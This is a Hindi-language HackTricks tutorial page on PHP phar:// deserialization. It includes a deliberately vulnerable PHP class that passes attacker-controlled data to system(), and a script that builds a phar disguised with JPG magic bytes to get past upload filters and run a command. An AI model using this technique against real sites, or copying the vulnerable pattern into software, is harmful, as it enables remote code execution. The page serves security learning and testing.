9.5 KiB
phar:// डिसीरियलाइजेशन
☁️ हैकट्रिक्स क्लाउड ☁️ -🐦 ट्विटर 🐦 - 🎙️ ट्विच 🎙️ - 🎥 यूट्यूब 🎥
- क्या आप साइबरसिक्योरिटी कंपनी में काम करते हैं? क्या आप चाहते हैं कि आपकी कंपनी का विज्ञापन हैकट्रिक्स में दिखाई दे? या क्या आप PEASS के नवीनतम संस्करण तक पहुँचना चाहते हैं या हैकट्रिक्स को PDF में डाउनलोड करना चाहते हैं? सब्सक्रिप्शन प्लान्स देखें!
- The PEASS Family की खोज करें, हमारा विशेष NFTs संग्रह
- आधिकारिक PEASS & हैकट्रिक्स स्वैग प्राप्त करें
- 💬 डिस्कॉर्ड ग्रुप में शामिल हों या टेलीग्राम ग्रुप में या मुझे ट्विटर पर फॉलो करें 🐦@carlospolopm.**
- हैकिंग ट्रिक्स शेयर करें, हैकट्रिक्स रेपो में PRs सबमिट करके हैकट्रिक्स रेपो और हैकट्रिक्स-क्लाउड रेपो.
यदि आप हैकिंग करियर में रुचि रखते हैं और अहैकयोग्य को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (धाराप्रवाह पोलिश लिखित और बोली जाने वाली आवश्यकता है).
{% embed url="https://www.stmcyber.com/careers" %}
Phar फाइलें (PHP आर्काइव) फाइलें सीरियलाइज्ड प्रारूप में मेटा डेटा समाहित करती हैं, इसलिए, जब पार्स किया जाता है, यह मेटाडेटा डिसीरियलाइज्ड होता है और आप PHP कोड के अंदर एक डिसीरियलाइजेशन भेद्यता का दुरुपयोग करने की कोशिश कर सकते हैं।
इस विशेषता की सबसे अच्छी बात यह है कि यह डिसीरियलाइजेशन PHP कोड को eval करने वाले PHP फंक्शन्स का उपयोग करते समय भी होगा जैसे कि file_get_contents(), fopen(), file() या file_exists(), md5_file(), filemtime() या filesize()।
तो, कल्पना कीजिए कि आप एक PHP वेब को किसी मनमानी फाइल का आकार प्राप्त करने के लिए phar://
प्रोटोकॉल का उपयोग कर सकते हैं, और कोड के अंदर आपको निम्नलिखित जैसी एक क्लास मिलती है:
{% code title="vunl.php" %}
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
filesize("phar://test.phar"); #The attacker can control this path
{% endcode %}
आप एक phar फाइल बना सकते हैं जिसे लोड करने पर इस क्लास का दुरुपयोग करके मनमाने कमांड निष्पादित करेगा इस प्रकार से:
{% code title="create_phar.php" %}
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
{% endcode %}
ध्यान दें कि JPG के मैजिक बाइट्स (\xff\xd8\xff
) को phar फाइल की शुरुआत में कैसे जोड़ा गया है ताकि संभावित फाइल अपलोड प्रतिबंधों को बायपास किया जा सके।
test.phar
फाइल को इसके साथ कंपाइल करें:
php --define phar.readonly=0 create_phar.php
और निम्नलिखित कोड का उपयोग करके whoami
कमांड को नाजुक कोड का दुरुपयोग करते हुए निष्पादित करें:
php vuln.php
संदर्भ
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
यदि आप हैकिंग करियर में रुचि रखते हैं और अहैकिबल को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (धाराप्रवाह पोलिश लिखित और बोली जाने वाली आवश्यकता).
{% embed url="https://www.stmcyber.com/careers" %}
☁️ हैकट्रिक्स क्लाउड ☁️ -🐦 ट्विटर 🐦 - 🎙️ ट्विच 🎙️ - 🎥 यूट्यूब 🎥
- क्या आप साइबरसिक्योरिटी कंपनी में काम करते हैं? क्या आप चाहते हैं कि आपकी कंपनी का विज्ञापन हैकट्रिक्स में दिखाई दे? या क्या आप PEASS के नवीनतम संस्करण तक पहुँच चाहते हैं या हैकट्रिक्स को PDF में डाउनलोड करना चाहते हैं? सब्सक्रिप्शन प्लान्स देखें!
- The PEASS Family की खोज करें, हमारा एक्सक्लूसिव NFTs संग्रह
- आधिकारिक PEASS & हैकट्रिक्स स्वैग प्राप्त करें
- 💬 डिस्कॉर्ड ग्रुप में शामिल हों या टेलीग्राम ग्रुप या मुझे ट्विटर पर फॉलो करें 🐦@carlospolopm.
- हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो hacktricks repo और hacktricks-cloud repo में PRs सबमिट करके.